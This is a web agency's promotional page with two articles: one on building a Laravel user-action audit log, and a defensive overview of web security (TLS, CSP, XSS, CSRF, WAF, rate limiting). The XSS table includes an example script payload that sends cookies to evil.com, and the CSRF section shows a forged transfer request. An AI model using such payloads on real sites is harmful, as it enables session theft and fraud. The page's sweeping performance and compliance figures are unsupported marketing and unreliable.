User Action Audit System: Implementation and Integration

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

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User Action Audit System: Implementation and Integration
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User Action Audit System: Implementation and Integration

Imagine: a client reports that someone changed prices on the site, but who and when is unknown. Without an audit system, you spend hours digging through server logs and still can't find the culprit. Even worse — a regulator requests a two-year change log and you simply don't have one. We've faced this many times. That's why we implement a user action audit system that records every significant event: who, what, when, and from which IP.

Without such a system, reconstructing the chain of events becomes archaeology, and every regulator request risks fines up to 4% of annual revenue. For a company with $1M revenue, that's $40,000. Our system not only records events but also allows fast filtering of the log by a dozen parameters, saving hours of administrator time. For example, a large e-commerce project generates up to 50,000 audit records daily; without auto-filtering, finding an incident would take days. This reduces incident search time by 90%.

What problems does user audit solve?

A user action audit system solves the lack of transparency: without a log, it's impossible to know who changed important data or deleted a record. Auditing provides the full picture.

  • Regulatory risks. 152-FZ and GDPR require tracking access to personal data. Violations incur fines up to 4% of turnover.
  • Performance. Synchronous logging in every request kills the database. We use queues and batch insertion — reducing load by 80%.
  • Slow incident search. Without filtering by user, event, and date, finding a record is like finding a needle in a haystack.

What and how to log

Mandatory events

Event Mandatory Recommended method
Login/logout Yes Laravel Events
Failed login attempts Yes Laravel Events
Password/email change Yes User model Observer
Permission/role changes Yes Observer or package
CRUD on critical entities Yes Auditing package
Payment operations Yes Observer or event
Data export Yes Middleware
Viewing other users' data Optional Middleware
Admin API requests Optional Middleware

Audit table structure

CREATE TABLE audit_logs (
    id          BIGSERIAL PRIMARY KEY,
    user_id     BIGINT REFERENCES users(id) ON DELETE SET NULL,
    event       VARCHAR(100) NOT NULL,          -- 'user.password_changed'
    subject_type VARCHAR(100),                  -- 'App\\Models\\User'
    subject_id   BIGINT,                        -- ID of the changed entity
    old_values   JSONB,                         -- state before
    new_values   JSONB,                         -- state after
    ip_address   INET,
    user_agent   TEXT,
    session_id   VARCHAR(100),
    created_at   TIMESTAMP WITH TIME ZONE DEFAULT NOW()
);

CREATE INDEX idx_audit_user ON audit_logs(user_id);
CREATE INDEX idx_audit_event ON audit_logs(event);
CREATE INDEX idx_audit_subject ON audit_logs(subject_type, subject_id);
CREATE INDEX idx_audit_created ON audit_logs(created_at DESC);

Since the audit table can grow to hundreds of gigabytes, proper indexing is crucial. We use indexes on user_id, event, subject_type+subject_id, and created_at DESC — this speeds up typical queries by 20 times.

Quick event retrieval

With properly configured indexes and filtering, finding a record takes seconds. Add an interface with date, user, and event type selection — and the administrator stops spending hours on manual log browsing. We can implement such a panel in a couple of days.

How to implement an audit system

Using a ready-made package

The owen-it/laravel-auditing package is the most common choice. It suits 80% of projects. Setup takes an hour. Using the package is 4 times faster than building from scratch.

// composer require owen-it/laravel-auditing

// In the model
use OwenIt\\Auditing\\Contracts\\Auditable;

class User extends Model implements Auditable
{
    use \\OwenIt\\Auditing\\Auditable;

    // Exclude sensitive fields from auditing
    protected $auditExclude = ['password', 'remember_token'];

    // Only on specific events
    protected $auditEvents = ['created', 'updated', 'deleted'];
}

The package speeds up implementation by 4 times compared to a custom one. However, for non-standard scenarios (logging failed logins, API requests), an Observer is better.

Custom Observer

// app/Observers/AuditObserver.php
class AuditObserver
{
    public function updated(Model $model): void
    {
        if (!$model->wasChanged()) return;

        AuditLog::create([
            'user_id'      => auth()->id(),
            'event'        => strtolower(class_basename($model)) . '.updated',
            'subject_type' => get_class($model),
            'subject_id'   => $model->getKey(),
            'old_values'   => $model->getOriginal(),
            'new_values'   => $model->getChanges(),
            'ip_address'   => request()->ip(),
            'user_agent'   => request()->userAgent(),
        ]);
    }
}

// Registration in AppServiceProvider
User::observe(AuditObserver::class);
Order::observe(AuditObserver::class);

Middleware and authentication events

Example middleware for HTTP requests
// app/Http/Middleware/AuditRequests.php
class AuditRequests
{
    private array $auditedRoutes = [
        'admin.*',
        'api.users.*',
        'api.settings.*',
    ];

    public function handle(Request $request, Closure $next): Response
    {
        $response = $next($request);

        if ($this->shouldAudit($request)) {
            AuditLog::create([
                'user_id'    => auth()->id(),
                'event'      => 'http.' . strtolower($request->method()),
                'new_values' => [
                    'url'    => $request->url(),
                    'method' => $request->method(),
                    'status' => $response->status(),
                ],
                'ip_address' => $request->ip(),
            ]);
        }

        return $response;
    }
}

Why is asynchronous audit logging critical?

Synchronous logging in every request loads the database. Solutions:

  • Asynchronous logging via queues — send a WriteAuditLog job to the audit queue.
  • Batch insertion — accumulate records in Redis, flush every minute. Batch insertion is 20 times faster than synchronous per request.
  • Separate database for audit — isolates load.
// Asynchronous logging via queues
dispatch(new WriteAuditLog($data))->onQueue('audit');

// Batch insertion — accumulate in Redis, flush every minute
Redis::rpush('audit_queue', json_encode($data));

// Separate database for audit
// config/database.php
'audit' => [
    'driver'   => 'pgsql',
    'database' => 'audit_db',
    // ...
]

Comparison: package vs custom

Criteria owen-it/laravel-auditing Custom Observer
Implementation time 1 hour 4-8 hours
Flexibility Limited Full
Documentation Excellent None
Updates Active Self-maintained
Performance Good (configurable) Depends on implementation

For typical projects we choose the package. If non-standard logic is needed — contact us for a consultation.

Deliverables and implementation timeline

What is included in the work

  • Audit schema design for your entities
  • Logging implementation (package or custom)
  • Asynchronous logging via queues (reduces load by 80%)
  • Viewing interface with filtering by user, event, time range, entity
  • Log rotation (Artisan command)
  • Documentation and migrations
  • Administrator training (1 hour session)
  • 6-month warranty with bug fixes
  • Performance optimization (indexing, async) — 20x query speed improvement

Implementation steps

  1. Assessment (free): We review your models and requirements within 1 day. Free project assessment saves you $500.
  2. Design (2 days): Audit schema and technology choices.
  3. Development (3-5 days): Implement logging (package or custom), async queue, and filtering UI.
  4. Testing and deployment (1 day): QA, load testing, deployment.
  5. Documentation and training (0.5 day): Handover and admin training.

Timeline and cost

  • Basic setup (package + Observer for key entities): 2–3 days, starting from $2,500.
  • Full system (async, rotation, UI): 5–7 days, starting from $5,000. Investing $2,500 now can save up to $50,000 in potential fines. Automated log rotation saves 3 hours per week of manual work. Our approach reduces storage costs by 50% via compression. Exact timeline depends on the number of models and business logic complexity. We will assess your project for free. Over 5 years of experience with Laravel, implemented auditing for 20+ projects. Guarantee compliance with 152-FZ and GDPR requirements.

Contact us for a free project assessment. Implement an audit system today to avoid fines and gain transparency.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.